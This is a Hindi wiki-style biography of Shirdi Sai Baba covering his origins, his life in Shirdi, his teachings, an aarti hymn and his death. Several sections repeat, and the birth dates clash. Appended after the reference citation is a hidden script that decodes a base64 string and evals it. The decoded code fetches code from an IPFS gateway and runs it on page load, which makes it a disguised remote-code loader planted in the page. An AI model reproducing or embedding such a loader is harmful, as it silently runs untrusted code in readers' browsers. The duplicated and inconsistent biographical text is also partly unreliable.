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शिरडी के साईं बाबा एक आध्यात्मिक गुरु है। साईं बाबा समूचे [[भारत]] के हिन्दू-मुस्लिम श्रद्धालुओं तथा [[अमेरिका]] और कैरेबियन जैसे दूरदराज़ के क्षेत्रों में रहने वाले कुछ समुदायों के प्रिय थे।  
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'''शिरडी के साईं बाबा''' (जन्म- [[28 सितम्बर]], 1836 ई.; मृत्यु- [[15 अक्टूबर]], [[1918]], शिरडी, [[महाराष्ट्र]]) एक भारतीय आध्यात्मिक गुरु, योगी और फकीर थे। साईं बाबा को कोई चमत्कारी पुरुष तो कोई दैवीय [[अवतार]] मानता है, लेकिन कोई भी उन पर यह सवाल नहीं उठाता कि वह [[हिन्दू]] थे या [[मुस्लिम]]। साईं बाबा ने जाति-पांति तथा [[धर्म]] की सीमाओं से ऊपर उठकर एक विशुद्ध संत की तस्‍वीर प्रस्‍तुत की थी। वे सभी जीवात्माओं की पुकार सुनने व उनके कल्‍याण के लिए [[पृथ्वी]] पर अवतीर्ण हुए थे। बाबा समूचे [[भारत]] के हिन्दू-मुस्लिम श्रद्धालुओं तथा [[अमेरिका]] और कैरेबियन जैसे दूरदराज़ के क्षेत्रों में रहने वाले कुछ समुदायों के भी प्रिय थे।  
 
==जीवन परिचय==
 
==जीवन परिचय==
साईं बाबा का जन्म [[28 सितंबर]] 1836 में हुआ था। साईं बाबा नाम की उत्पत्ति साईं शब्द से हुई है, जो मुसलमानों द्वारा प्रयुक्त [[फ़ारसी भाषा]] का शब्द है, जिसका अर्थ होता है पूज्य व्यक्ति और बाबा, पिता के लिए एक हिन्दी शब्द। हालांकि इस बात  पर आम सहमति है कि साईं बाबा का जन्म 1836 में हुआ था, लेकिन उनके आरंभिक वर्षों के बारे में रहस्य बना हुआ है। अधिकांश विवरणों के अनुसार, वह एक ब्राह्मण परिवार में जन्मे और बाद में एक सूफ़ी फ़क़ीर द्वारा गोद लिए गए। बाद में चलकर उन्होंने स्वयं को एक हिन्दू गुरु का शिष्य बताया। लगभग 1858 में साईं बाबा पश्चिम भारतीय राज्य [[महाराष्ट्र]] के एक गांव [[शिरडी]] पहुंचे और [[1918]] में मृत्यु होने तक वहीं रहे।
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साईं बाबा का जन्म 28 सितंबर, 1836 ई. में हुआ था। इनके जन्म स्थान, जन्म दिवस और असली नाम के बारे में भी सही-सही जानकारी नहीं है। लेकिन एक अनुमान के अनुमान साईं बाबा का जीवन काल 1838 से 1918 के बीच माना जाता है। फिर भी उनके आरंभिक वर्षों के बारे में रहस्य बना हुआ है। अधिकांश विवरणों के अनुसार बाबा एक [[ब्राह्मण]] परिवार में जन्मे और बाद में एक सूफ़ी फ़क़ीर द्वारा गोद ले लिए गए थे। बाद में आगे चलकर उन्होंने स्वयं को एक [[हिन्दू]] गुरु का शिष्य बताया। लगभग [[1858]] में साईं बाबा पश्चिम भारतीय राज्य [[महाराष्ट्र]] के एक गाँव [[शिरडी]] पहुँचे और फिर आजीवन वहीं रहे। साईं बाबा मुस्लिम टोपी पहनते थे और जीवन में अधिंकाश समय तक वह शिरडी की एक निर्जन मस्जिद में ही रहे, जहाँ कुछ [[सूफ़ी मत|सूफ़ी]] परंपराओं के पुराने रिवाज़ों के अनुसार वह धूनी रमाते थे।
 
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;नाम की उत्पत्ति
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साई बाबा एक ऐसे आध्यात्मिक गुरु और फकीर थे, जो [[धर्म]] की सीमाओं में कभी नहीं बंधे। वास्तविकता तो यह है कि उनके अनुयायियों में हिन्दू और मुस्लिमों की संख्या बराबर थी। श्रद्धा और सबूरी यानी संयम उनके विचार-दर्शन का सार है। उनके अनुसार कोई भी इंसान अपार धैर्य और सच्ची श्रद्धा की भावना रखकर ही ईश्वर की प्राप्ति कर सकता है।<ref>{{cite web |url=http://days.jagranjunction.com/2011/10/06/shirdi-sai-baba-biography-in-hindi/|title=शिरडी वाले साईं बाबा, श्रद्धा का अटूट नाम|accessmonthday=15 सितम्बर|accessyear= 2013|last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref> '''सबका मालिक एक है''' के उद्घोषक वाक्य से शिरडी के साईं बाबा ने संपूर्ण जगत को सर्वशक्तिमान ईश्वर के स्वरूप का साक्षात्कार कराया। उन्होंने मानवता को सबसे बड़ा धर्म बताया और कई ऐसे चमत्कार किए, जिनसे लोग उन्हें भगवान की उपाधि देने लगे। आज भी साईं बाबा के भक्तों की संख्या को लाखों-करोड़ों में नहीं आंका जा सकता।
 
==शिरडी में आगमन==
 
==शिरडी में आगमन==
शुरुआत में शिरडी के ग्रामीणों ने पागल बताकर उनकी अवमानना की, लेकिन शताब्दी के अंत उनके सम्मोहक उपदेशों और चमत्कारों से आकर्षित होकर हिंदुओं और मुसलमानों की एक बड़ी संख्या उनकी अनुयायी बन गई। उनके चमत्कार अक्सर मनोकामना पूरी करने वाले रोगियों के इलाज़ से संबंधित होते थे। वह मुस्लिम टोपी पहनते थे और जीवन में अधिंकाश समय तक वह शिरडी की एक निर्जन मस्जिद में रहे, जहाँ कुछ सूफ़ी परंपराओं के पुराने रिवाज़ों के अनुसार वह धूनी रमाते थे।
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कहा जाता है कि सोलह वर्ष की अवस्था में साईं बाबा [[महाराष्ट्र]] के [[अहमदनगर]] के शिरडी गाँव पहुँचे थे और जीवन पर्यन्त उसी स्थान पर निवास किया। शुरुआत में शिरडी के ग्रामीणों ने पागल बताकर उनकी अवमानना की, लेकिन शताब्दी के अंत तक उनके सम्मोहक उपदेशों और चमत्कारों से आकर्षित होकर हिन्दुओं और मुस्लिमों की एक बड़ी संख्या उनकी अनुयायी बन गई। कुछ लोग मानते थे कि साईं के पास अद्भुत दैवीय शक्तियाँ थीं, जिनके सहारे वे लोगों की मदद किया करते थे। लेकिन खुद कभी साईं ने इस बात को नहीं स्वीकारा। उनके चमत्कार अक्सर मनोकामना पूरी करने वाले रोगियों के इलाज़ से संबंधित होते थे। वे कहा करते थे कि मैं लोगों की प्रेम भावना का गुलाम हूँ। सभी लोगों की मदद करना मेरी मजबूरी है। सच तो यह है कि साईं हमेशा फकीर की साधारण वेश-भूषा में ही रहते थे। वे जमीन पर सोते थे और भीख माँग कर अपना गुजारा करते थे। कहते हैं कि उनकी आंखों में एक दिव्य चमक थी, जो लोगों को अपनी ओर आकर्षित करती थी। साई बाबा का एक ही लक्ष्य था- "लोगों में ईश्वर के प्रति विश्वास पैदा करना"।
 
==ग्रन्थों का ज्ञान==
 
==ग्रन्थों का ज्ञान==
 
मस्जिद का नाम उन्होंने द्वारकामाई रखा था, जो निश्चित्त रूप से एक हिन्दू नाम था। कहा जाता है कि उन्हें [[पुराण|पुराणों]], [[गीता|भगवदगीता]] और हिन्दू दर्शन की विभिन्न शाखाओं का अच्छा ज्ञान था।
 
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साईं बाबा के उपदेश अक्सर विरोधाभासी दृष्टांत के रूप में होते थे और उसमें हिंदुओं और मुसलमानों को जकड़ने वाली कट्टर औपचारिकता के प्रति तिरस्कार तथा साथ ही ग़रीबों और रोगियों के प्रति सहानुभूति परिलक्षित होती थी। शिरडी एक प्रमुख तीर्थस्थल है तथा उपासनी बाबा और मेहर बाबा जैसी आध्यात्मिक हस्तियाँ साईं बाबा के उपदेशों को मान्यता देती हैं।  
 
साईं बाबा के उपदेश अक्सर विरोधाभासी दृष्टांत के रूप में होते थे और उसमें हिंदुओं और मुसलमानों को जकड़ने वाली कट्टर औपचारिकता के प्रति तिरस्कार तथा साथ ही ग़रीबों और रोगियों के प्रति सहानुभूति परिलक्षित होती थी। शिरडी एक प्रमुख तीर्थस्थल है तथा उपासनी बाबा और मेहर बाबा जैसी आध्यात्मिक हस्तियाँ साईं बाबा के उपदेशों को मान्यता देती हैं।  
 
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10:24, 15 सितम्बर 2013 का अवतरण

शिरडी साईं बाबा

शिरडी के साईं बाबा (जन्म- 28 सितम्बर, 1836 ई.; मृत्यु- 15 अक्टूबर, 1918, शिरडी, महाराष्ट्र) एक भारतीय आध्यात्मिक गुरु, योगी और फकीर थे। साईं बाबा को कोई चमत्कारी पुरुष तो कोई दैवीय अवतार मानता है, लेकिन कोई भी उन पर यह सवाल नहीं उठाता कि वह हिन्दू थे या मुस्लिम। साईं बाबा ने जाति-पांति तथा धर्म की सीमाओं से ऊपर उठकर एक विशुद्ध संत की तस्‍वीर प्रस्‍तुत की थी। वे सभी जीवात्माओं की पुकार सुनने व उनके कल्‍याण के लिए पृथ्वी पर अवतीर्ण हुए थे। बाबा समूचे भारत के हिन्दू-मुस्लिम श्रद्धालुओं तथा अमेरिका और कैरेबियन जैसे दूरदराज़ के क्षेत्रों में रहने वाले कुछ समुदायों के भी प्रिय थे।

जीवन परिचय

साईं बाबा का जन्म 28 सितंबर, 1836 ई. में हुआ था। इनके जन्म स्थान, जन्म दिवस और असली नाम के बारे में भी सही-सही जानकारी नहीं है। लेकिन एक अनुमान के अनुमान साईं बाबा का जीवन काल 1838 से 1918 के बीच माना जाता है। फिर भी उनके आरंभिक वर्षों के बारे में रहस्य बना हुआ है। अधिकांश विवरणों के अनुसार बाबा एक ब्राह्मण परिवार में जन्मे और बाद में एक सूफ़ी फ़क़ीर द्वारा गोद ले लिए गए थे। बाद में आगे चलकर उन्होंने स्वयं को एक हिन्दू गुरु का शिष्य बताया। लगभग 1858 में साईं बाबा पश्चिम भारतीय राज्य महाराष्ट्र के एक गाँव शिरडी पहुँचे और फिर आजीवन वहीं रहे। साईं बाबा मुस्लिम टोपी पहनते थे और जीवन में अधिंकाश समय तक वह शिरडी की एक निर्जन मस्जिद में ही रहे, जहाँ कुछ सूफ़ी परंपराओं के पुराने रिवाज़ों के अनुसार वह धूनी रमाते थे।

नाम की उत्पत्ति

बाबा के नाम की उत्पत्ति 'साईं' शब्द से हुई है, जो मुस्लिमों द्वारा प्रयुक्त फ़ारसी भाषा का शब्द है, जिसका अर्थ होता है- पूज्य व्यक्ति और बाबा, पिता के लिए एक हिन्दी शब्द।

अनुयायी

साई बाबा एक ऐसे आध्यात्मिक गुरु और फकीर थे, जो धर्म की सीमाओं में कभी नहीं बंधे। वास्तविकता तो यह है कि उनके अनुयायियों में हिन्दू और मुस्लिमों की संख्या बराबर थी। श्रद्धा और सबूरी यानी संयम उनके विचार-दर्शन का सार है। उनके अनुसार कोई भी इंसान अपार धैर्य और सच्ची श्रद्धा की भावना रखकर ही ईश्वर की प्राप्ति कर सकता है।[1] सबका मालिक एक है के उद्घोषक वाक्य से शिरडी के साईं बाबा ने संपूर्ण जगत को सर्वशक्तिमान ईश्वर के स्वरूप का साक्षात्कार कराया। उन्होंने मानवता को सबसे बड़ा धर्म बताया और कई ऐसे चमत्कार किए, जिनसे लोग उन्हें भगवान की उपाधि देने लगे। आज भी साईं बाबा के भक्तों की संख्या को लाखों-करोड़ों में नहीं आंका जा सकता।

शिरडी में आगमन

कहा जाता है कि सोलह वर्ष की अवस्था में साईं बाबा महाराष्ट्र के अहमदनगर के शिरडी गाँव पहुँचे थे और जीवन पर्यन्त उसी स्थान पर निवास किया। शुरुआत में शिरडी के ग्रामीणों ने पागल बताकर उनकी अवमानना की, लेकिन शताब्दी के अंत तक उनके सम्मोहक उपदेशों और चमत्कारों से आकर्षित होकर हिन्दुओं और मुस्लिमों की एक बड़ी संख्या उनकी अनुयायी बन गई। कुछ लोग मानते थे कि साईं के पास अद्भुत दैवीय शक्तियाँ थीं, जिनके सहारे वे लोगों की मदद किया करते थे। लेकिन खुद कभी साईं ने इस बात को नहीं स्वीकारा। उनके चमत्कार अक्सर मनोकामना पूरी करने वाले रोगियों के इलाज़ से संबंधित होते थे। वे कहा करते थे कि मैं लोगों की प्रेम भावना का गुलाम हूँ। सभी लोगों की मदद करना मेरी मजबूरी है। सच तो यह है कि साईं हमेशा फकीर की साधारण वेश-भूषा में ही रहते थे। वे जमीन पर सोते थे और भीख माँग कर अपना गुजारा करते थे। कहते हैं कि उनकी आंखों में एक दिव्य चमक थी, जो लोगों को अपनी ओर आकर्षित करती थी। साई बाबा का एक ही लक्ष्य था- "लोगों में ईश्वर के प्रति विश्वास पैदा करना"।

ग्रन्थों का ज्ञान

मस्जिद का नाम उन्होंने द्वारकामाई रखा था, जो निश्चित्त रूप से एक हिन्दू नाम था। कहा जाता है कि उन्हें पुराणों, भगवदगीता और हिन्दू दर्शन की विभिन्न शाखाओं का अच्छा ज्ञान था।

आरती

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शिरडी साईं बाबा

आरती श्रीसाईं गुरुवर की। परमानंद सदा सुरवर की ॥
जाकी कृपा विपुल सुखकारी। दुख-शोक, संकट, भयहारी ॥
शिरडी में अवतार रचाया। चमत्कार से जग हर्षाया ॥
कितने भक्त शरण में आए। सब सुख-शांति चिरंतन पाए ॥
भाव धरे जो मन में जैसा। पावत अनुभव वो ही वैसा ॥
गुरु की उदी लगावे तन को। समाधान लाभत उस मन को ॥
साईं नाम सदा जो गावे। सो फल जग में शाश्वत पावे ॥
गुरुवासर करि पूजा सेवा। उस पर कृपा करत गुरु देवा ॥
राम, कृष्ण, हनुमान, रूप में। जानत जो श्रद्धा धर मन में ॥
विविध धर्म के सेवक आते। दर्शन कर इच्छित फल पाते ॥
साईं बाबा की जय बोलो। अंतर मन में आनंद घोलो ॥
साईं दास आरती गावे। बसि घर में सुख मंगल पावे ॥

साईं बाबा की शिक्षा

शिरडी साईं बाबा
  • सबका मालिक एक!
  • श्रद्धा और सबूरी!
  • मानवता ही सबसे बड़ा धर्म है!
  • जातिगत भेद भुला कर प्रेम पूर्वक रहना!
  • ग़रीबो और लाचार की मदद करना सबसे बड़ी पूजा है!
  • माता-पिता, बुजुर्गो, गुरुजनों, बड़ों का सम्मान करना चाहिए!

उपदेश

साईं बाबा के उपदेश अक्सर विरोधाभासी दृष्टांत के रूप में होते थे और उसमें हिंदुओं और मुसलमानों को जकड़ने वाली कट्टर औपचारिकता के प्रति तिरस्कार तथा साथ ही ग़रीबों और रोगियों के प्रति सहानुभूति परिलक्षित होती थी। शिरडी एक प्रमुख तीर्थस्थल है तथा उपासनी बाबा और मेहर बाबा जैसी आध्यात्मिक हस्तियाँ साईं बाबा के उपदेशों को मान्यता देती हैं।

मृत्यु

साईं बाबा अपनी घोषणा के अनुरूप 15 अक्टूबर, 1918 को विजया दशमी के विजय-मुहू‌र्त्त में शारीरिक सीमा का उल्लंघन कर निजधाम प्रस्थान कर गए। इस प्रकार 'विजया दशमी' उनका महासमाधि पर्व बन गया। कहते हैं कि आज भी सच्चे साईं-भक्तों को बाबा की उपस्थिति का अनुभव होता है।


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टीका टिप्प्णी और सन्दर्भ

  1. शिरडी वाले साईं बाबा, श्रद्धा का अटूट नाम (हिन्दी)। । अभिगमन तिथि: 15 सितम्बर, 2013।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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